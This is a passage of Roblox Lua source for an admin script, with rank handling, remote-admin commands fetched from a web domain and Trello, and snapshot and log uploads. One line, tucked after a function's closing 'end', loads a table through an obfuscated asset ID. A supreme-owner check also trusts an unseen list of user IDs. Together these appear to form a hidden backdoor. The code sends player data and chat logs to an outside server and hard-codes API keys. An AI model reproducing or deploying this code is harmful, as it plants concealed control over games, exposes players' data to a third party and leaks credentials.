1710 local Part = Instance.new("Part", CrownStorage)
1711 Part.Size = Vector3.new(2, 1, 1)
1712 Part.CanCollide = false
1713 Part.CFrame = Player.Character.Head.CFrame
1714 Part.Locked = true
1715 Part.Material = "Neon"
1716 if Color then
1717 Part.Color = GUI:GetColor(Color)
1718 else
1719 Part.BrickColor = GUI:GetNameColor(Player.Name)
1720 end
1721 local SMesh = Instance.new("SpecialMesh", Part)
1722 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1723 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1724 local BP = Instance.new("BodyPosition", Part)
1725 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1726 BP.position = Player.Character.Head.Position
1727 BP.P = 20000
1728 local BG = Instance.new("BodyGyro", Part)
1729 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1730
1731 Crowns[Player.UserId] = Part
1732 table.insert(Objects, Part)
1733
1734 coroutine.wrap(function()
1735 for i = 1,0.3,-0.02 do
1736 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1737 Part.Transparency = i
1738 end
1739 wait()
1740 end
1741 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1742 for i = 0,360,3 do
1743 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1744 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1745 wait()
1746 end
1747 end
1748 end
1749 end)()
1750 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1751 Part:BreakJoints()
1752 for i = 0,360 do
1753 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1754 Part.Anchored = false
1755 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1756 BG.cframe = Player.Character.Head.CFrame
1757 end
1758 wait()
1759 end
1760 end end)()
1761
1762 return Part
1763end
1764
1765function CORE:SetAbuseCommands()
1766 for Cmds,Data in pairs(Commands) do
1767 local IsAbusable = false
1768 for _,AbuseCmd in pairs(Settings.AbuseList) do
1769 for _,Command in pairs(Cmds) do -- loop through all command names
1770 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1771 IsAbusable = true
1772 break
1773 end
1774 end
1775 if IsAbusable == true then break end
1776 end
1777 Commands[Cmds].Abusable = IsAbusable
1778 end
1779end
1780
1781function CORE:FindBodyPart(Player, BodyPart)
1782 local ReturnPart = nil
1783 if Player and Player.Character then
1784 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1785 if Humanoid then
1786 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1787 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1788 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1789 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1790 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1791 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1792 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1793 end
1794 end
1795 if not ReturnPart then
1796 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1797 end
1798 end
1799
1800 return ReturnPart
1801end
1802
1803-- Rank functions --
1804
1805function RANK:ConvertRank(Input)
1806 local Output = nil
1807 if Input == "Muted" then Output = -3 end
1808 if Input == "Crashed" then Output = -2 end
1809 if Input == "Banned" then Output = -1 end
1810 if Input == "Non-Admin" then Output = 0 end
1811 if Input == "Member" then Output = 1 end
1812 if Input == "Admin" then Output = 2 end
1813 if Input == "Owner" then Output = 3 end
1814
1815 if Input == -3 then Output = "Muted" end
1816 if Input == -2 then Output = "Crashed" end
1817 if Input == -1 then Output = "Banned" end
1818 if Input == 0 then Output = "Non-Admin" end
1819 if Input == 1 then Output = "Member" end
1820 if Input == 2 then Output = "Admin" end
1821 if Input == 3 then Output = "Owner" end
1822 return Output
1823end
1824
1825function RANK:IsAdmin(Player)
1826 local AdminStatus = false
1827 local Rankstatus = "Non-Admin"
1828 if type(Player) == "table" then
1829 if RANK:ConvertRank(Player.Rank) > 0 then
1830 return true, Player.Rank
1831 else
1832 return false, Player.Rank
1833 end
1834 end
1835 for Rank,PlayerNames in pairs(Settings.Ranks) do
1836 for _,AdminName in pairs(PlayerNames) do
1837 if string.lower(AdminName) == string.lower(Player.Name) then
1838 if RANK:ConvertRank(Rank) > 0 then
1839 AdminStatus = true
1840 Rankstatus = Rank
1841 end
1842 end
1843 end
1844 end
1845 return AdminStatus, Rankstatus
1846end
1847
1848function RANK:GetRank(PlayerName)
1849 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1850 if type(PlayerName) == "table" then
1851 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1852 if RankNum > 0 then
1853 return PlayerName.Rank, RankNum, true
1854 else
1855 return PlayerName.Rank, RankNum, false
1856 end
1857 end
1858
1859 local RankStat = "Non-Admin"
1860
1861 for Rank,PlayerNames in pairs(Settings.Ranks) do
1862 for _,AdminName in pairs(PlayerNames) do
1863 if string.lower(AdminName) == string.lower(PlayerName) then
1864 RankStat = Rank
1865 end
1866 end
1867 end
1868
1869 if RankStat == "Non-Admin" then
1870 return "Non-Admin", 0, false
1871 else
1872 return RankStat, RANK:ConvertRank(RankStat), true
1873 end
1874end
1875
1876function RANK:RemoveRank(PlayerName)
1877 if not RANK:IsSupremeOwner(PlayerName) then
1878 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1879
1880 for Rank,PlayerNames in pairs(Settings.Ranks) do
1881 for Num,AdminName in pairs(PlayerNames) do
1882 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1883 table.remove(Settings.Ranks[Rank], Num)
1884 end
1885 end
1886 end
1887 end
1888end
1889
1890function RANK:GetAdmins(Ranking)
1891 local Players = {}
1892 local AdminTrue, Rank = IsAdmin(Player)
1893 for _,Player in pairs(Players:GetPlayers()) do
1894 if AdminTrue then
1895 local PlayerRankNum = RANK:ConvertRank(Rank)
1896 local StandardRankNum = RANK:ConvertRank(Ranking)
1897 if PlayerRankNum >= StandardRankNum then
1898 table.insert(Players, Player)
1899 end
1900 end
1901 end
1902 return Players
1903end
1904
1905function RANK:IsSupremeOwner(PlayerName)
1906 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1907 if type(PlayerName) == "table" then
1908 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1909 end
1910
1911 if PlayerName == GameOwner then return true end
1912 return false
1913end
1914
1915function RANK:GetPlayerFromList(PlayerName)
1916 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1917
1918 for Rank,PlayerNames in pairs(Settings.Ranks) do
1919 for Num,AdminName in pairs(PlayerNames) do
1920 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1921 return AdminName, Rank
1922 end
1923 end
1924 end
1925 return false, "Non-Admin"
1926end
1927
1928function RANK:ScanAdminList(Name)
1929 if Name == "" then return true end
1930 local InList = false
1931 for _,PName in pairs(Settings.Ranks["Owner"]) do
1932 if PName == Name then InList = true end
1933 end
1934 for _,PName in pairs(Settings.Ranks["Admin"]) do
1935 if PName == Name then InList = true end
1936 end
1937 for _,PName in pairs(Settings.Ranks["Member"]) do
1938 if PName == Name then InList = true end
1939 end
1940 return InList
1941end
1942
1943function RANK:ScanExileList(Name)
1944 if Name == "" then return true end
1945 local InList = false
1946 for _,PName in pairs(Settings.Ranks["Muted"]) do
1947 if PName == Name then InList = true end
1948 end
1949 for _,PName in pairs(Settings.Ranks["Crashed"]) do
1950 if PName == Name then InList = true end
1951 end
1952 for _,PName in pairs(Settings.Ranks["Banned"]) do
1953 if PName == Name then InList = true end
1954 end
1955 return InList
1956end
1957
1958function RANK:PlayerRanked(PlayerName)
1959 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1960
1961 for Rank,PlayerNames in pairs(Settings.Ranks) do
1962 for Num,AdminName in pairs(PlayerNames) do
1963 if string.lower(AdminName) == string.lower(PlayerName) then
1964 return true, Rank
1965 end
1966 end
1967 end
1968 return false, "Non-Admin"
1969end
1970
1971-- Remote functions --
1972
1973function REMOTE:Decode(...)
1974 return Server.HS:JSONDecode(...)
1975end
1976
1977function REMOTE:GetURL(URL, Player)
1978 if string.sub(URL,1,4) ~= "http" then
1979 URL = "http://"..URL
1980 end
1981 local Return = nil
1982 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
1983 if Return then
1984 return Return
1985 elseif Player then
1986 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
1987 end
1988end
1989
1990function REMOTE:PostURL(URL, Data)
1991 local Return = nil
1992 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
1993 return Return
1994end
1995
1996function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
1997 if Settings.LinkedAccount ~= "" then
1998 local NumType = tonumber(Type)
1999
2000 if not Type then
2001 Type = "UNKNOWN"
2002 end
2003
2004 if NumType then
2005 if NumType < 1 or NumType > 5 then
2006 Type = "UNKNOWN"
2007 elseif NumType == 1 then
2008 Type = "NOTIFICATION"
2009 elseif NumType == 2 then
2010 Type = "INFORMATION"
2011 elseif NumType == 3 then
2012 Type = "WARNING"
2013 elseif NumType == 4 or Type == true then
2014 Type = "ERROR"
2015 elseif NumType == 5 then
2016 Type = "FATAL"
2017 end
2018 end
2019
2020 local Res = "RED Could not get response"
2021 local function SendData()
2022 Res = Server.HS:PostAsync(
2023 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2024 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2025 2
2026 )
2027 end
2028 if Stopypcall == true then SendData() else ypcall(SendData) end
2029
2030 if OutputSpeaker and OutputSpeaker ~= "print" then
2031 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2032 elseif OutputSpeaker == "print" then
2033 print(Res)
2034 end
2035 end
2036end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2037
2038function REMOTE:SendChatLog(PrintResponse, Stopypall)
2039 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2040 local Res = "Could not get response"
2041
2042 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2043 TempChatLogs = {}
2044
2045 local function SendData()
2046 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2047 end
2048 if Stopypcall == true then SendData() else ypcall(SendData) end
2049 if PrintResponse then print(Res) end
2050 end
2051end
2052
2053function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2054 local Res = "[]"
2055 local function GetData()
2056 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2057 end
2058 if Stopypcall == true then GetData() else ypcall(GetData) end
2059 if PrintResponse then
2060 print(Res)
2061 end
2062 local function DecodeData() Res = REMOTE:Decode(Res) end
2063 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2064 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2065 return Res
2066end
2067
2068function REMOTE:HandleRequest(Request, IgnoreCommand)
2069 if not Request then return nil end
2070
2071 if not IgnoreCommand then
2072 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2073 REMOTE:SendServerData()
2074 end
2075 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2076 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2077 end
2078 end
2079
2080 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2081
2082 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2083 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2084 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2085 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2086 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2087 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2088
2089 Settings.Fun = Request.FUN
2090 Settings.ServerLocked = Request.ServerLocked
2091
2092 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2093 Settings.DisableAbuse = Request.DisableAbuse
2094 end
2095
2096 if not IgnoreCommand then
2097 print("Executing Remote Admin")
2098 REMOTE.RemoteAdmin.Command = Request.Command
2099 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2100 REMOTE.RemoteAdmin.ServerPort = Request.Server
2101
2102 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2103 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2104 else
2105 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2106 end
2107 end
2108 end
2109 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2110 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2111 REMOTE.SnapshotKey = Request.SnapshotKey
2112end
2113
2114function REMOTE:GetRemoteData(Set)
2115 local NewRemoteData = nil
2116 local RemoteDataCardRaw = nil
2117 local RemoteDataCard = nil
2118
2119 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2120 if RemoteDataCardRaw then
2121 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2122 if RemoteDataCard then
2123 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2124 end
2125 end
2126 if Set and NewRemoteData then
2127 RemoteData = NewRemoteData
2128 end
2129 return NewRemoteData
2130end
2131
2132function REMOTE:CheckRemoteAdminStatus()
2133 local Pending = false
2134 local CheckID = 0
2135 if Settings.LinkedAccount ~= "" then
2136 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2137 if Request then
2138 local Data = REMOTE:Decode(Request)
2139 if Data then
2140 for _,Account in pairs(Data.checkItems) do
2141 if Account.name == Settings.LinkedAccount then
2142 Pending = true
2143 CheckID = Account.id
2144 break
2145 end
2146 end
2147 end
2148 end
2149 end
2150 return Pending, CheckID
2151end
2152
2153function REMOTE:GetAndSetWebData()
2154 if Settings.LinkedAccount ~= "" then
2155 if REMOTE:CheckRemoteAdminStatus() then
2156 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2157 if Request == "Invalid" then
2158 --REMOTE:GetAndSetWebData()
2159 return false
2160 elseif Request == "Invalid Account" then
2161 print("Can't get account")
2162 return false
2163 elseif Request then
2164 ypcall(function() Request = REMOTE:Decode(Request) end)
2165 elseif not Request then
2166 --REMOTE:GetAndSetWebData()
2167 return false
2168 end
2169 REMOTE:HandleRequest(Request)
2170
2171 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2172 Delay(RemoteData.RemoteAdminWait, function()
2173 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2174 if Pending then
2175 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2176 end
2177 end)
2178 return true
2179 else
2180 return true
2181 end
2182 end
2183end
2184
2185local OderIDs = CORE:GetTable(177215518)
2186local SoundJSONs = CORE:GetTable(197637628)
2187RemoteAbuseGear = CORE:GetTable(158117496)
2188
2189function REMOTE:SendServerData(PrintResponse, Stopypall)
2190 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2191 print("Sending server data!")
2192 local Res = "Could not get response"
2193
2194 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2195 for _,Player in pairs(Server.Players:GetPlayers()) do
2196 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2197 end
2198 ServerData = Server.HS:JSONEncode(ServerData)
2199
2200 local function SendData()
2201 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2202 end
2203 if Stopypcall == true then SendData() else ypcall(SendData) end
2204 if PrintResponse then print(Res) end
2205 end
2206end
2207
2208function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2209 MaxPartAmount = MaxPartAmount or 10000
2210 local PlaceData = {
2211 Lighting = {};
2212 Parts = {};
2213 Other = {};
2214 }
2215 local MinSize = Vector3.new(0.5,0.5,0.5)
2216 local PartAmount = 0
2217 local PlaceJSON = ""
2218
2219 local function Scan(BaseObj)
2220 for _,Obj in pairs(BaseObj:GetChildren()) do
2221 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2222 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2223 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2224 local Skip = false
2225 local Data = {}
2226 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2227
2228 if CORE:FindType(Obj, "BlockMesh") then
2229 local Mesh = CORE:FindType(Obj, "BlockMesh")
2230 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2231 elseif CORE:FindType(Obj, "CylinderMesh") then
2232 Data.Shape = "Cylinder"
2233 elseif CORE:FindType(Obj, "SpecialMesh") then
2234 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2235 if Mesh.MeshType == Enum.MeshType.Head then
2236 --idk
2237 else
2238 Skip = true
2239 end
2240 elseif CORE:FindType(Obj, "FileMesh") then
2241 Skip = true
2242 end
2243
2244 if not Data.Shape and not Skip then
2245 if ypcall(function() return Obj.Shape end) then
2246 Data.Shape = string.sub(Obj.Shape.Name,14)
2247 if string.sub(Data.Shape,1,1) == "." then
2248 Data.Shape = string.sub(Data.Shape,2)
2249 end
2250 if Data.Shape == "Cylinder" then
2251 Z = Z + math.pi/2
2252 end
2253 else
2254 Data.Shape = "Block"
2255 end
2256 end
2257
2258 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2259 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2260 end
2261
2262 if not Skip then
2263 Data.Color = GUI:Color3ToHex(Obj.Color);
2264 Data.Size = Size;
2265 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2266 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2267 Data.Transparency = STRING:StringRound(Obj.Transparency);
2268 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2269 Data.Textures = {};
2270 Data.Material = string.sub(tostring(Obj.Material),15);
2271
2272 for _,Sub in pairs(Obj:GetChildren()) do
2273 if Sub:IsA("Decal") then
2274 local Texture = string.match(Sub.Texture, "%d+")
2275 if Sub.Texture == "rbxasset://textures/face.png" then
2276 Texture = "FACE"
2277 end
2278 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2279 end
2280 end
2281
2282 PartAmount = PartAmount + 1
2283 table.insert(PlaceData.Parts, Data)
2284
2285 if PartAmount >= MaxPartAmount then
2286 break
2287 end
2288 end
2289 end
2290 end
2291 if #Obj:GetChildren() > 0 then
2292 Scan(Obj)
2293 end
2294 end
2295 end
2296 Scan(Workspace)
2297
2298 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2299 PlaceData.Other.PartAmount = PartAmount;
2300 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2301
2302 local Res = "Could not get response"
2303 local function SendData()
2304 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2305 end
2306 if Stopypcall == true then SendData() else ypcall(SendData) end
2307 if PrintResponse then print(Res) end
2308
2309 print("Sent snapshot")
2310end
2311
2312
2313function REMOTE:DefineWord(Word, Source)
2314 if not Word then return end
2315 if not Source then Source = "all" end
2316
2317 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2318 if Response then
2319 local Decode = REMOTE:Decode(Response)
2320 if #Decode > 0 then
2321 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2322
2323 ]]..Decode[1]["text"]
2324 else
2325 return "Invalid English word"
2326 end
2327 else
2328 return "Cannot connect to database"
2329 end
2330end
2331
2332function REMOTE:DownloadJoke(Speaker)
2333 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2334 local Joke = nil
2335 if Res then
2336 local _, Start = string.find(Res, "</h2>")
2337 local End, _ = string.find(string.sub(Res, Start), "</td>")
2338
2339 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2340 Joke = string.gsub(Joke, "\n", "")
2341 Joke = string.gsub(Joke, " ", "") -- tab
2342 Joke = string.gsub(Joke, "</ul>", "")
2343 Joke = string.gsub(Joke, "<ul>", "")
2344 Joke = string.gsub(Joke, "</li>", [[
2345
2346]])
2347 Joke = string.gsub(Joke, "<li>", "")
2348 Joke = string.gsub(Joke, "</p>", "")
2349 Joke = string.gsub(Joke, "<p>", "")
2350 Joke = string.gsub(Joke, "<", "")
2351 Joke = string.gsub(Joke, ">", "")
2352 end
2353
2354 return Joke
2355end
2356
2357function REMOTE:GetAddon()
2358 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2359end
2360
2361function REMOTE:TrelloGetAdminBoard()
2362 local BoardsJSON,Boards,ReturnBoard
2363
2364 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2365
2366 if BoardsJSON then
2367 Boards = REMOTE:Decode(BoardsJSON)
2368 end
2369 if Boards then
2370 for _,Board in pairs(Boards) do
2371 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2372 ReturnBoard = Board
2373 break
2374 end
2375 end
2376 if not ReturnBoard then -- create board if not created
2377 print("Creating Trello Board")
2378 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2379 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2380 ReturnBoard = REMOTE:Decode(BoardJSON)
2381 end
2382 end
2383 return ReturnBoard
2384end
2385
2386function REMOTE:TrelloGetAdminLists(Board)
2387 local Required = {}
2388 local ListJSON,Lists
2389 local ReturnLists = {}
2390
2391 for _,List in pairs(Trello.RequiredLists) do
2392 table.insert(Required, List)
2393 end
2394
2395 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2396
2397 if ListJSON then
2398 Lists = REMOTE:Decode(ListJSON)
2399 end
2400 if Lists then
2401 for _,List in pairs(Lists) do
2402 for Num,Rel in pairs(Required) do
2403 if List.name == Rel.name then
2404 table.remove(Required, Num)
2405 table.insert(ReturnLists, List)
2406 end
2407 end
2408 end
2409 for _,Rel in pairs(Required) do
2410 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2411 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2412 end
2413 end
2414
2415 return ReturnLists
2416end
2417
2418function REMOTE:TrelloCacheData(Lists)
2419 for _,List in pairs(Lists) do
2420 local CardsJSON,Cards
2421 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2422 if CardsJSON then
2423 Cards = REMOTE:Decode(CardsJSON)
2424 end
2425 if Cards then
2426 local TemplateCards = nil
2427 for _,TemplateList in pairs(Trello.RequiredLists) do
2428 if TemplateList.name == List.name then
2429 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2430 break
2431 end
2432 end
2433
2434 for _,TemplateCard in pairs(TemplateCards) do
2435 local CardExists = false
2436 for _,Card in pairs(Cards) do
2437 if Card.name == TemplateCard.name and Card.closed == false then
2438 CardExists = true
2439 end
2440 end
2441 if not CardExists then
2442 print("Creating card "..TemplateCard.name)
2443 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2444 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2445 end
2446 end
2447
2448 if List.name == "Ranked" then
2449 for _,Card in pairs(Cards) do
2450 if Settings.Ranks[Card.name] and Card.closed == false then
2451 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2452 end
2453 end
2454 elseif List.name == "Settings" then
2455 for _,Card in pairs(Cards) do
2456 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2457 Trello.ToggleChecklist = Card.idChecklists[1]
2458 elseif Card.name == "Command Execution" then
2459 Trello.CommandID = Card.id
2460 end
2461 end
2462 end
2463 end
2464 end
2465end
2466
2467function REMOTE:TrelloHandleData(IgnoreCommand)
2468 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2469 if ToggleSettingsJSON then
2470 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2471 if Settings.LinkedAccount == "" then
2472 local NewSettings = {}
2473 for _,Item in pairs(ToggleSettings.checkItems) do
2474 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2475 end
2476 Settings.Fun = NewSettings["Fun Commands Enabled"]
2477 Settings.ServerLocked = NewSettings["Server Locked"]
2478 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2479 end
2480 else
2481 return false
2482 end
2483
2484 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2485 if CommandChatJSON then
2486 CommandChat = REMOTE:Decode(CommandChatJSON)
2487 local ClosestDT = 0
2488 for _,ChatData in pairs(CommandChat) do
2489 local DT = STRING:ConvertDateTime(ChatData.date)
2490 ClosestDT = math.max(ClosestDT, DT)
2491
2492 if not IgnoreCommand and DT > Trello.LastCommandDT then
2493 print("Executing Remote Trello Command")
2494 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2495 end
2496 end
2497 Trello.LastCommandDT = ClosestDT
2498 else
2499 return false
2500 end
2501
2502 for Rank,ID in pairs(Trello.RankChecklistCache) do
2503 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2504 if ChecklistJSON then
2505 Checklist = REMOTE:Decode(ChecklistJSON)
2506
2507 for _,Item in pairs(Checklist.checkItems) do
2508 if Item.state == "complete" then
2509 if RANK:ConvertRank(Rank) < 0 then
2510 if not RANK:ScanExileList(Item.name) then
2511 table.insert(Settings.Ranks[Rank], Item.name)
2512 end
2513 elseif RANK:ConvertRank(Rank) > 0 then
2514 if not RANK:ScanAdminList(Item.name) then
